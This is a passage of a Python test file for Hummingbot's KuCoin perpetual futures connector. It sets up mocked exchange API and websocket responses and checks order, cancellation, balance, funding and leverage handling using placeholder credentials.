import asyncio
import json
import re
from copy import deepcopy
from decimal import Decimal
from typing import Any, Callable, List, Optional, Tuple
from unittest.mock import AsyncMock, patch

import pandas as pd
from aioresponses import aioresponses
from aioresponses.core import RequestCall

import hummingbot.connector.derivative.kucoin_perpetual.kucoin_perpetual_constants as CONSTANTS
import hummingbot.connector.derivative.kucoin_perpetual.kucoin_perpetual_web_utils as web_utils
from hummingbot.client.config.client_config_map import ClientConfigMap
from hummingbot.client.config.config_helpers import ClientConfigAdapter
from hummingbot.connector.derivative.kucoin_perpetual.kucoin_perpetual_derivative import KucoinPerpetualDerivative
from hummingbot.connector.derivative.position import Position
from hummingbot.connector.test_support.perpetual_derivative_test import AbstractPerpetualDerivativeTests
from hummingbot.connector.trading_rule import TradingRule
from hummingbot.connector.utils import combine_to_hb_trading_pair
from hummingbot.core.data_type.common import OrderType, PositionAction, PositionMode, PositionSide, TradeType
from hummingbot.core.data_type.funding_info import FundingInfo
from hummingbot.core.data_type.in_flight_order import InFlightOrder
from hummingbot.core.data_type.trade_fee import AddedToCostTradeFee, TokenAmount, TradeFeeBase

class KucoinPerpetualDerivativeTests(AbstractPerpetualDerivativeTests.PerpetualDerivativeTests):
    @classmethod
    def setUpClass(cls) -> None:
        super().setUpClass()
        cls.api_key = "someKey"
        cls.api_secret = "someSecret"
        cls.passphrase = "somePassphrase"
        cls.quote_asset = "USDT"
        cls.trading_pair = combine_to_hb_trading_pair(cls.base_asset, cls.quote_asset)
        cls.non_linear_quote_asset = "USD"
        cls.non_linear_trading_pair = combine_to_hb_trading_pair(cls.base_asset, cls.non_linear_quote_asset)

    @property
    def all_symbols_url(self):
        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.QUERY_SYMBOL_ENDPOINT)
        return url

    @property
    def latest_prices_url(self):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.LATEST_SYMBOL_INFORMATION_ENDPOINT.format(symbol=self.exchange_trading_pair),
        )
        url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        return url

    @property
    def network_status_url(self):
        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.SERVER_TIME_PATH_URL)
        return url

    @property
    def trading_rules_url(self):
        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.QUERY_SYMBOL_ENDPOINT)
        return url

    @property
    def order_creation_url(self):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.CREATE_ORDER_PATH_URL
        )
        url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        return url

    @property
    def balance_url(self):
        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.GET_WALLET_BALANCE_PATH_URL.format(currency="USDT"))
        return url

    @property
    def funding_info_url(self):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.GET_CONTRACT_INFO_PATH_URL
        )
        url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        return url

    @property
    def funding_payment_url(self):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.GET_FUNDING_HISTORY_PATH_URL.format(symbol=self.exchange_trading_pair),
        )
        url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        return url

    @property
    def all_symbols_request_mock_response(self):
        mock_response = {
            "code": "200000",
            "data": [
                {
                    "symbol": self.exchange_trading_pair,
                    "rootSymbol": self.quote_asset,
                    "type": "FFWCSX",
                    "firstOpenDate": 1585555200000,
                    "expireDate": None,
                    "settleDate": None,
                    "baseCurrency": self.base_asset,
                    "quoteCurrency": self.quote_asset,
                    "settleCurrency": self.quote_asset,
                    "maxOrderQty": 1000000,
                    "maxPrice": 1000000.0,
                    "lotSize": 1,
                    "tickSize": 1.0,
                    "indexPriceTickSize": 0.01,
                    "multiplier": 0.001,
                    "initialMargin": 0.01,
                    "maintainMargin": 0.005,
                    "maxRiskLimit": 2000000,
                    "minRiskLimit": 2000000,
                    "riskStep": 1000000,
                    "makerFeeRate": 0.0002,
                    "takerFeeRate": 0.0006,
                    "takerFixFee": 0.0,
                    "makerFixFee": 0.0,
                    "settlementFee": None,
                    "isDeleverage": True,
                    "isQuanto": True,
                    "isInverse": False,
                    "markMethod": "FairPrice",
                    "fairMethod": "FundingRate",
                    "settlementSymbol": "",
                    "status": "Open",
                    "fundingFeeRate": 0.0001,
                    "predictedFundingFeeRate": 0.0001,
                    "openInterest": "5191275",
                    "turnoverOf24h": 2361994501.712677,
                    "volumeOf24h": 56067.116,
                    "markPrice": 44514.03,
                    "indexPrice": 44510.78,
                    "lastTradePrice": 44493.0,
                    "nextFundingRateTime": 21031525,
                    "maxLeverage": 100,
                    "sourceExchanges": [
                        "huobi",
                        "Okex",
                        "Binance",
                        "Kucoin",
                        "Poloniex",
                        "Hitbtc"
                    ],
                    "lowPrice": 38040,
                    "highPrice": 44948,
                    "priceChgPct": 0.1702,
                    "priceChg": 6476
                }
            ]
        }
        return mock_response

    @property
    def latest_prices_request_mock_response(self):
        mock_response = {
            "code": "200000",
            "data": [
                {
                    "symbol": self.exchange_trading_pair,
                    "rootSymbol": self.quote_asset,
                    "type": "FFWCSX",
                    "firstOpenDate": 1610697600000,
                    "expireDate": None,
                    "settleDate": None,
                    "baseCurrency": self.base_asset,
                    "quoteCurrency": self.quote_asset,
                    "settleCurrency": self.quote_asset,
                    "maxOrderQty": 1000000,
                    "maxPrice": 1000000.0,
                    "lotSize": 1,
                    "tickSize": 0.01,
                    "indexPriceTickSize": 0.01,
                    "multiplier": 0.01,
                    "initialMargin": 0.05,
                    "maintainMargin": 0.025,
                    "maxRiskLimit": 100000,
                    "minRiskLimit": 100000,
                    "riskStep": 50000,
                    "makerFeeRate": 0.0002,
                    "takerFeeRate": 0.0006,
                    "takerFixFee": 0.0,
                    "makerFixFee": 0.0,
                    "settlementFee": "",
                    "isDeleverage": True,
                    "isQuanto": False,
                    "isInverse": False,
                    "markMethod": "FairPrice",
                    "fairMethod": "FundingRate",
                    "fundingBaseSymbol": self.exchange_trading_pair,
                    "fundingQuoteSymbol": self.exchange_trading_pair,
                    "fundingRateSymbol": self.exchange_trading_pair,
                    "indexSymbol": self.exchange_trading_pair,
                    "settlementSymbol": "",
                    "status": "Open",
                    "fundingFeeRate": 0.0001,
                    "predictedFundingFeeRate": 0.0001,
                    "openInterest": "2487402",
                    "turnoverOf24h": 3166644.36115288,
                    "volumeOf24h": 32299.4,
                    "markPrice": 101.6,
                    "indexPrice": 101.59,
                    "lastTradePrice": str(self.expected_latest_price),
                    "nextFundingRateTime": 22646889,
                    "maxLeverage": 20,
                    "sourceExchanges": [
                        "huobi",
                        "Okex",
                        "Binance",
                        "Kucoin",
                        "Poloniex",
                        "Hitbtc"
                    ],
                    "premiumsSymbol1M": self.exchange_trading_pair,
                    "premiumsSymbol8H": self.exchange_trading_pair,
                    "fundingBaseSymbol1M": self.base_asset,
                    "fundingQuoteSymbol1M": self.quote_asset,
                    "lowPrice": 88.88,
                    "highPrice": 102.21,
                    "priceChgPct": 0.1401,
                    "priceChg": 12.48
                }
            ]
        }
        return mock_response

    @property
    def all_symbols_including_invalid_pair_mock_response(self) -> Tuple[str, Any]:
        mock_response = {
            "code": "200000",
            "data": [
                {
                    "symbol": self.exchange_trading_pair,
                    "rootSymbol": self.quote_asset,
                    "type": "FFWCSX",
                    "firstOpenDate": 1585555200000,
                    "expireDate": None,
                    "settleDate": None,
                    "baseCurrency": self.base_asset,
                    "quoteCurrency": self.quote_asset,
                    "settleCurrency": self.quote_asset,
                    "maxOrderQty": 1000000,
                    "maxPrice": 1000000.0,
                    "lotSize": 1,
                    "tickSize": 1.0,
                    "indexPriceTickSize": 0.01,
                    "multiplier": 0.001,
                    "initialMargin": 0.01,
                    "maintainMargin": 0.005,
                    "maxRiskLimit": 2000000,
                    "minRiskLimit": 2000000,
                    "riskStep": 1000000,
                    "makerFeeRate": 0.0002,
                    "takerFeeRate": 0.0006,
                    "takerFixFee": 0.0,
                    "makerFixFee": 0.0,
                    "settlementFee": None,
                    "isDeleverage": True,
                    "isQuanto": True,
                    "isInverse": False,
                    "markMethod": "FairPrice",
                    "fairMethod": "FundingRate",
                    "settlementSymbol": "",
                    "status": "Open",
                    "fundingFeeRate": 0.0001,
                    "predictedFundingFeeRate": 0.0001,
                    "openInterest": "5191275",
                    "turnoverOf24h": 2361994501.712677,
                    "volumeOf24h": 56067.116,
                    "markPrice": 44514.03,
                    "indexPrice": 44510.78,
                    "lastTradePrice": 44493.0,
                    "nextFundingRateTime": 21031525,
                    "maxLeverage": 100,
                    "sourceExchanges": [
                        "huobi",
                        "Okex",
                        "Binance",
                        "Kucoin",
                        "Poloniex",
                        "Hitbtc"
                    ],
                    "lowPrice": 38040,
                    "highPrice": 44948,
                    "priceChgPct": 0.1702,
                    "priceChg": 6476
                },
                {
                    "symbol": self.exchange_symbol_for_tokens("INVALID", "PAIR"),
                    "rootSymbol": self.quote_asset,
                    "type": "FFWCSX",
                    "firstOpenDate": 1585555200000,
                    "expireDate": None,
                    "settleDate": None,
                    "baseCurrency": "INVALID",
                    "quoteCurrency": "PAIR",
                    "settleCurrency": "PAIR",
                    "maxOrderQty": 1000000,
                    "maxPrice": 1000000.0,
                    "lotSize": 1,
                    "tickSize": 1.0,
                    "indexPriceTickSize": 0.01,
                    "multiplier": 0.001,
                    "initialMargin": 0.01,
                    "maintainMargin": 0.005,
                    "maxRiskLimit": 2000000,
                    "minRiskLimit": 2000000,
                    "riskStep": 1000000,
                    "makerFeeRate": 0.0002,
                    "takerFeeRate": 0.0006,
                    "takerFixFee": 0.0,
                    "makerFixFee": 0.0,
                    "settlementFee": None,
                    "isDeleverage": True,
                    "isQuanto": True,
                    "isInverse": False,
                    "markMethod": "FairPrice",
                    "fairMethod": "FundingRate",
                    "settlementSymbol": "",
                    "status": "Closed",
                    "fundingFeeRate": 0.0001,
                    "predictedFundingFeeRate": 0.0001,
                    "openInterest": "5191275",
                    "turnoverOf24h": 2361994501.712677,
                    "volumeOf24h": 56067.116,
                    "markPrice": 44514.03,
                    "indexPrice": 44510.78,
                    "lastTradePrice": 44493.0,
                    "nextFundingRateTime": 21031525,
                    "maxLeverage": 100,
                    "sourceExchanges": [
                        "huobi",
                        "Okex",
                        "Binance",
                        "Kucoin",
                        "Poloniex",
                        "Hitbtc"
                    ],
                    "lowPrice": 38040,
                    "highPrice": 44948,
                    "priceChgPct": 0.1702,
                    "priceChg": 6476
                },
            ]
        }
        return "INVALID-PAIR", mock_response

    @property
    def network_status_request_successful_mock_response(self):
        mock_response = {
            "code": "200000",
            "data": {
                "status": "open",
                "msg": "upgrade match engine"
            }
        }
        return mock_response

    @property
    def trading_rules_request_mock_response(self):
        return self.all_symbols_request_mock_response

    @property
    def trading_rules_request_erroneous_mock_response(self):
        mock_response = {
            "code": "200000",
            "data": [
                {
                    "symbol": self.exchange_trading_pair,
                    "rootSymbol": self.quote_asset,
                    "type": "FFWCSX",
                    "firstOpenDate": 1610697600000,
                    "expireDate": None,
                    "settleDate": None,
                    "baseCurrency": self.base_asset,
                    "quoteCurrency": self.quote_asset,
                    "settleCurrency": self.quote_asset,
                    "makerFeeRate": 0.0002,
                    "takerFeeRate": 0.0006,
                }
            ]
        }
        return mock_response

    @property
    def order_creation_request_successful_mock_response(self):
        mock_response = {
            "code": "200000",
            "data": {
                "orderId": "335fd977-e5a5-4781-b6d0-c772d5bfb95b"
            }
        }
        return mock_response

    @property
    def balance_request_mock_response_for_base_and_quote(self):
        mock_response = {
            "code": "200000",
            "data": [{
                    "accountEquity": 15,
                    "unrealisedPNL": 0,
                    "marginBalance": 15,
                    "positionMargin": 0,
                    "orderMargin": 0,
                    "frozenFunds": 0,
                    "availableBalance": 10,
                    "currency": self.base_asset,
            },
                {
                "accountEquity": 2000,
                    "unrealisedPNL": 0,
                    "marginBalance": 2000,
                    "positionMargin": 0,
                    "orderMargin": 0,
                    "frozenFunds": 0,
                    "availableBalance": 2000,
                    "currency": self.quote_asset,
            }
            ]
        }
        return mock_response

    @property
    def balance_request_mock_response_only_base(self):
        mock_response = self.balance_request_mock_response_for_base_and_quote
        del mock_response["data"][1]
        return mock_response

    @property
    def balance_event_websocket_update(self):
        mock_response = {
            "userId": 738713,
            "topic": "/contractAccount/wallet",
            "subject": "availableBalance.change",
            "data": {
                "availableBalance": 10,
                "holdBalance": 15,
                "currency": self.base_asset,
                "timestamp": 1553842862614
            }
        }
        return mock_response

    @property
    def non_linear_balance_event_websocket_update(self):
        return self.balance_event_websocket_update

    @property
    def expected_latest_price(self):
        return 9999.9

    @property
    def empty_funding_payment_mock_response(self):
        return {
            "code": "200000",
            "dataList": [{}],
        }

    @property
    def funding_payment_mock_response(self):
        return {
            "code": "200000",
            "dataList": [
                {
                    "id": 36275152660006,
                    "symbol": self.exchange_trading_pair,
                    "timePoint": self.target_funding_payment_timestamp_str,
                    "fundingRate": float(self.target_funding_payment_funding_rate),
                    "markPrice": 8058.27,
                    "positionQty": float(self.target_funding_payment_payment_amount / self.target_funding_payment_funding_rate),
                    "positionCost": -0.001241,
                    "funding": -0.00000464,
                    "settleCurrency": self.base_asset,
                }]
        }

    @property
    def expected_supported_position_modes(self) -> List[PositionMode]:
        raise NotImplementedError  # test is overwritten

    @property
    def target_funding_info_next_funding_utc_str(self):
        datetime_str = str(
            pd.Timestamp.utcfromtimestamp(
                self.target_funding_info_next_funding_utc_timestamp)
        ).replace(" ", "T") + "Z"
        return datetime_str

    @property
    def target_funding_info_next_funding_utc_str_ws_updated(self):
        datetime_str = str(
            pd.Timestamp.utcfromtimestamp(
                self.target_funding_info_next_funding_utc_timestamp_ws_updated)
        ).replace(" ", "T") + "Z"
        return datetime_str

    @property
    def target_funding_payment_timestamp_str(self):
        datetime_str = str(
            pd.Timestamp.utcfromtimestamp(
                self.target_funding_payment_timestamp)
        ).replace(" ", "T") + "Z"
        return datetime_str

    @property
    def funding_info_mock_response(self):
        mock_response = self.latest_prices_request_mock_response
        funding_info = mock_response["data"][0]
        funding_info["indexPrice"] = self.target_funding_info_index_price
        funding_info["markPrice"] = self.target_funding_info_mark_price
        funding_info["nextFundingRateTime"] = self.target_funding_info_next_funding_utc_str
        funding_info["predictedFundingFeeRate"] = self.target_funding_info_rate
        return mock_response

    @property
    def get_predicted_funding_info(self):
        return self.latest_prices_request_mock_response

    @property
    def expected_supported_order_types(self):
        return [OrderType.LIMIT, OrderType.MARKET, OrderType.LIMIT_MAKER]

    @property
    def expected_trading_rule(self):
        trading_rules_resp = self.trading_rules_request_mock_response["data"][0]
        multiplier = Decimal(str(trading_rules_resp["multiplier"]))
        return TradingRule(
            trading_pair=self.trading_pair,
            min_order_size=Decimal(str(trading_rules_resp["lotSize"])) * multiplier,
            max_order_size=Decimal(str(trading_rules_resp["maxOrderQty"])) * multiplier,
            min_price_increment=Decimal(str(trading_rules_resp["tickSize"])),
            min_base_amount_increment=multiplier,
        )

    @property
    def expected_logged_error_for_erroneous_trading_rule(self):
        erroneous_rule = self.trading_rules_request_erroneous_mock_response["data"][0]
        return f"Error parsing the trading pair rule: {erroneous_rule}. Skipping..."

    @property
    def expected_exchange_order_id(self):
        return "335fd977-e5a5-4781-b6d0-c772d5bfb95b"

    @property
    def is_cancel_request_executed_synchronously_by_server(self) -> bool:
        return False

    @property
    def is_order_fill_http_update_included_in_status_update(self) -> bool:
        return False

    @property
    def is_order_fill_http_update_executed_during_websocket_order_event_processing(self) -> bool:
        return False

    @property
    def expected_partial_fill_price(self) -> Decimal:
        return Decimal("100")

    @property
    def expected_partial_fill_amount(self) -> Decimal:
        return Decimal("10")

    @property
    def expected_fill_fee(self) -> TradeFeeBase:
        return AddedToCostTradeFee(
            percent=Decimal('0.0002'),
            percent_token=self.quote_asset,
        )

    @property
    def expected_trade_history_fill_fee(self) -> TradeFeeBase:
        return AddedToCostTradeFee(
            percent=Decimal('0'),
            percent_token=self.quote_asset,
            flat_fees=[TokenAmount(amount=Decimal('0.0002'), token=self.quote_asset)]
        )

    @property
    def expected_fill_trade_id(self) -> str:
        return "xxxxxxxx-xxxx-xxxx-8b66-c3d2fcd352f6"

    @property
    def latest_trade_hist_timestamp(self) -> int:
        return 1234

    def exchange_symbol_for_tokens(self, base_token: str, quote_token: str) -> str:
        return f"{base_token}{quote_token}"

    def create_exchange_instance(self):
        client_config_map = ClientConfigAdapter(ClientConfigMap())
        exchange = KucoinPerpetualDerivative(
            client_config_map,
            self.api_key,
            self.api_secret,
            self.passphrase,
            trading_pairs=[self.trading_pair],
        )
        exchange._last_trade_history_timestamp = self.latest_trade_hist_timestamp
        return exchange

    def validate_auth_credentials_present(self, request_call: RequestCall):
        request_headers = request_call.kwargs["headers"]
        self.assertEqual("application/json", request_headers["Content-Type"])

        self.assertIn("KC-API-TIMESTAMP", request_headers)
        self.assertIn("KC-API-KEY", request_headers)
        self.assertEqual(self.api_key, request_headers["KC-API-KEY"])
        self.assertIn("KC-API-SIGN", request_headers)

    def validate_order_creation_request(self, order: InFlightOrder, request_call: RequestCall):
        request_data = json.loads(request_call.kwargs["data"])
        self.assertEqual(order.trade_type.name.lower(), request_data["side"])
        self.assertEqual(self.exchange_trading_pair, request_data["symbol"])
        self.assertEqual(order.amount, request_data["size"] * 1e-6)
        self.assertEqual(CONSTANTS.DEFAULT_TIME_IN_FORCE, request_data["timeInForce"])
        self.assertEqual(order.client_order_id, request_data["clientOid"])
        self.assertIn("clientOid", request_data)
        self.assertEqual(order.order_type.name.lower(), request_data["type"])

    def validate_order_cancelation_request(self, order: InFlightOrder, request_call: RequestCall):
        request_data = json.loads(request_call.kwargs["data"])
        self.assertEqual(order.exchange_order_id, request_data["order_id"])

    def validate_order_status_request(self, order: InFlightOrder, request_call: RequestCall):
        request_params = request_call.kwargs["params"]
        request_data = request_call.kwargs["data"]
        self.assertIsNone(request_params)
        self.assertIsNone(request_data)

    def validate_trades_request(self, order: InFlightOrder, request_call: RequestCall):
        request_params = request_call.kwargs["params"]
        self.assertEqual(self.exchange_trading_pair, request_params["symbol"])
        self.assertEqual(self.latest_trade_hist_timestamp * 1e3, request_params["start_time"])

    def configure_successful_cancelation_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        """
        :return: the URL configured for the cancelation
        """
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.CANCEL_ORDER_PATH_URL.format(orderid=order.exchange_order_id)
        )
        regex_url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        response = self._order_cancelation_request_successful_mock_response(order=order)
        mock_api.delete(regex_url, body=json.dumps(response), callback=callback)
        return url

    def configure_erroneous_cancelation_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.CANCEL_ORDER_PATH_URL.format(orderid=order.exchange_order_id)
        )
        regex_url = re.compile(f"^{url}".replace(".", r"\.").replace("?", r"\?") + ".*")
        response = {
            "code": str(CONSTANTS.RET_CODE_PARAMS_ERROR),
            "msg": "Order does not exist",
        }
        mock_api.delete(regex_url, body=json.dumps(response), callback=callback)
        return url

    def configure_one_successful_one_erroneous_cancel_all_response(
        self,
        successful_order: InFlightOrder,
        erroneous_order: InFlightOrder,
        mock_api: aioresponses,
    ) -> List[str]:
        """
        :return: a list of all configured URLs for the cancelations
        """
        all_urls = []
        url = self.configure_successful_cancelation_response(order=successful_order, mock_api=mock_api)
        all_urls.append(url)
        url = self.configure_erroneous_cancelation_response(order=erroneous_order, mock_api=mock_api)
        all_urls.append(url)
        return all_urls

    def configure_completely_filled_order_status_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(endpoint=CONSTANTS.QUERY_ORDER_BY_EXCHANGE_ORDER_ID_PATH_URL.format(orderid=order.exchange_order_id))
        response = self._order_status_request_completely_filled_mock_response(order=order)
        mock_api.get(url, body=json.dumps(response), callback=callback)
        return url

    def configure_canceled_order_status_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.QUERY_ORDER_BY_EXCHANGE_ORDER_ID_PATH_URL.format(orderid=order.exchange_order_id)
        )
        response = self._order_status_request_canceled_mock_response(order=order)
        mock_api.get(url, body=json.dumps(response), callback=callback)
        return url

    def configure_open_order_status_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.QUERY_ORDER_BY_EXCHANGE_ORDER_ID_PATH_URL.format(orderid=order.exchange_order_id)
        )
        regex_url = re.compile(url + r"\?.*")
        response = self._order_status_request_open_mock_response(order=order)
        mock_api.get(regex_url, body=json.dumps(response), callback=callback)
        return url

    def configure_http_error_order_status_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.QUERY_ORDER_BY_EXCHANGE_ORDER_ID_PATH_URL.format(orderid=order.exchange_order_id)
        )
        regex_url = re.compile(url + r"\?.*")
        mock_api.get(regex_url, status=404, callback=callback)
        return url

    def configure_partially_filled_order_status_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.QUERY_ORDER_BY_EXCHANGE_ORDER_ID_PATH_URL.format(orderid=order.exchange_order_id)
        )
        response = self._order_status_request_partially_filled_mock_response(order=order)
        mock_api.get(url, body=json.dumps(response), callback=callback)
        return url

    def configure_partial_fill_trade_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.QUERY_ALL_ORDER_PATH_URL, exchange_order_id=order.exchange_order_id
        )
        regex_url = re.compile(url + r"\?.*")
        response = self._order_fills_request_partial_fill_mock_response(order=order)
        mock_api.get(regex_url, body=json.dumps(response), callback=callback)
        return url

    def configure_full_fill_trade_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.GET_FILL_INFO_PATH_URL.format(orderid=order.exchange_order_id),
        )
        response = self._order_fills_request_full_fill_mock_response(order=order)
        mock_api.get(url, body=json.dumps(response), callback=callback)
        return url

    def configure_fill_history_trade_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.GET_RECENT_FILLS_INFO_PATH_URL,
        )
        response = self._order_fills_request_full_fill_mock_response(order=order)
        mock_api.get(url, body=json.dumps(response), callback=callback)
        return url

    def configure_erroneous_http_fill_trade_response(
        self,
        order: InFlightOrder,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> str:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.ACTIVE_ORDER_PATH_URL, exchange_order_id=order.exchange_order_id
        )
        regex_url = re.compile(url + r"\?.*")
        mock_api.get(regex_url, status=400, callback=callback)
        return url

    def configure_successful_set_position_mode(
        self,
        position_mode: PositionMode,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.SET_LEVERAGE_PATH_URL
        )
        response = {
            "code": "200000",
            "data": True
        }
        mock_api.post(url, body=json.dumps(response), callback=callback)

        return url

    def configure_failed_set_position_mode(
        self,
        position_mode: PositionMode,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None
    ):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.SET_LEVERAGE_PATH_URL
        )
        error_code = "300016"
        error_msg = "Some problem"
        response = {
            "code": "300016",
            "data": False
        }
        mock_api.post(url, body=json.dumps(response), callback=callback)

        return url, f"ret_code <{error_code}> - {error_msg}"

    def configure_failed_set_leverage(
        self,
        leverage: PositionMode,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ) -> Tuple[str, str]:
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.SET_LEVERAGE_PATH_URL
        )
        regex_url = re.compile(f"^{url}")

        error_code = "300016"
        error_msg = "Some problem"
        mock_response = {
            "code": "300016",
            "data": False
        }

        mock_api.post(regex_url, body=json.dumps(mock_response), callback=callback)

        return url, f"ret_code <{error_code}> - {error_msg}"

    def configure_successful_set_leverage(
        self,
        leverage: int,
        mock_api: aioresponses,
        callback: Optional[Callable] = lambda *args, **kwargs: None,
    ):
        url = web_utils.get_rest_url_for_endpoint(
            endpoint=CONSTANTS.SET_LEVERAGE_PATH_URL
        )
        regex_url = re.compile(f"^{url}")

        mock_response = {
            "code": "200000",
            "data": True
        }

        mock_api.post(regex_url, body=json.dumps(mock_response), callback=callback)

        return url

    def order_event_for_new_order_websocket_update(self, order: InFlightOrder):
        return {
            "type": "message",
            "topic": "/contractMarket/tradeOrders",
            "subject": "orderChange",
            "channelType": "private",
            "data": {
                "orderId": order.exchange_order_id or "1640b725-75e9-407d-bea9-aae4fc666d33",
                "symbol": self.exchange_trading_pair,
                "type": "open",
                "status": "open",
                "orderType": order.order_type.name.lower(),
                "side": order.trade_type.name.lower(),
                "price": str(order.price),
                "size": float(order.amount),
                "remainSize": float(order.amount),
                "filledSize": "0",
                "canceledSize": "0",
                "clientOid": order.client_order_id or "",
                "orderTime": 1545914149935808589,
                "liquidity": "maker",
                "ts": 1545914149935808589
            }
        }

    def order_event_for_canceled_order_websocket_update(self, order: InFlightOrder):
        return {
            "type": "message",
            "topic": "/contractMarket/tradeOrders",
            "subject": "orderChange",
            "channelType": "private",
            "data": {
                "orderId": order.exchange_order_id or "1640b725-75e9-407d-bea9-aae4fc666d33",
                "symbol": self.exchange_trading_pair,
                "type": "canceled",
                "status": "done",
                "orderType": order.order_type.name.lower(),
                "side": order.trade_type.name.lower(),
                "price": str(order.price),
                "size": float(order.amount),
                "remainSize": "0",
                "filledSize": "0",
                "canceledSize": float(order.amount),
                "clientOid": order.client_order_id or "",
                "orderTime": 1545914149935808589,
                "liquidity": "maker",
                "ts": 1545914149935808589
            }
        }

    def order_event_for_full_fill_websocket_update(self, order: InFlightOrder):
        return {
            "type": "message",
            "topic": "/contractMarket/tradeOrders",
            "subject": "orderChange",
            "channelType": "private",
            "data": {
                "orderId": order.exchange_order_id or "1640b725-75e9-407d-bea9-aae4fc666d33",
                "symbol": self.exchange_trading_pair,
                "type": "filled",
                "status": "done",
                "orderType": order.order_type.name.lower(),
                "side": order.trade_type.name.lower(),
                "matchPrice": str(order.price),
                "size": float(order.amount) * 1000,
                "remainSize": "0",
                "matchSize": float(order.amount) * 1000,
                "fee": str(self.expected_fill_fee.percent),
                "canceledSize": "0",
                "clientOid": order.client_order_id or "",
                "orderTime": 1545914149935808589,
                "liquidity": "maker",
                "ts": 1545914149935808589
            }
        }

    def trade_event_for_full_fill_websocket_update(self, order: InFlightOrder):
        return {
            "type": "message",
            "topic": "/contractMarket/tradeOrders",
            "subject": "orderChange",
            "channelType": "private",
            "data": {
                "orderId": order.exchange_order_id or "1640b725-75e9-407d-bea9-aae4fc666d33",
                "tradeId": self.expected_fill_trade_id,
                "symbol": self.exchange_trading_pair,
                "type": "match",
                "status": "done",
                "orderType": order.order_type.name.lower(),
                "side": order.trade_type.name.lower(),
                "matchPrice": str(order.price),
                "size": float(order.amount) * 1000,
                "fee": str(self.expected_fill_fee.percent),
                "remainSize": "0",
                "matchSize": float(order.amount) * 1000000,
                "canceledSize": "0",
                "clientOid": order.client_order_id or "",
                "orderTime": 1545914149935808589,
                "liquidity": "maker",
                "ts": 1545914149935808589
            }
        }

    def position_event_for_full_fill_websocket_update(self, order: InFlightOrder, unrealized_pnl: float):
        position_value = unrealized_pnl + order.amount * order.price * order.leverage
        return {
            "type": "message",
            "userId": 533285,
            "channelType": "private",
            "topic": "/contract/position:" + self.exchange_trading_pair,
            "subject": "position.change",
            "data": {
                "realisedGrossPnl": "0.00055631",
                "symbol": self.exchange_trading_pair,
                "crossMode": False,
                "liquidationPrice": "489",
                "posLoss": 0E-8,
                "avgEntryPrice": str(order.price),
                "unrealisedPnl": unrealized_pnl,
                "markPrice": str(order.price),
                "posMargin": 0.00266779,
                "autoDeposit": False,
                "riskLimit": 100000,
                "unrealisedCost": 0.00266375,
                "posComm": 0.00000392,
                "posMaint": 0.00001724,
                "posCost": str(position_value),
                "maintMarginReq": 0.005,
                "bankruptPrice": 1000000.0,
                "realisedCost": 0.00000271,
                "markValue": 0.00251640,
                "posInit": 0.39929535,
                "realisedPnl": -0.00000253,
                "maintMargin": 0.39929535,
                "realLeverage": str(order.leverage),
                "changeReason": "positionChange",
                "currentCost": str(position_value),
                "openingTimestamp": 1558433191000,
                "currentQty": -int(order.amount),
                "delevPercentage": 0.52,
                "currentComm": 0.00000271,
                "realisedGrossCost": 0E-8,
                "isOpen": True,
                "posCross": 1.2E-7,
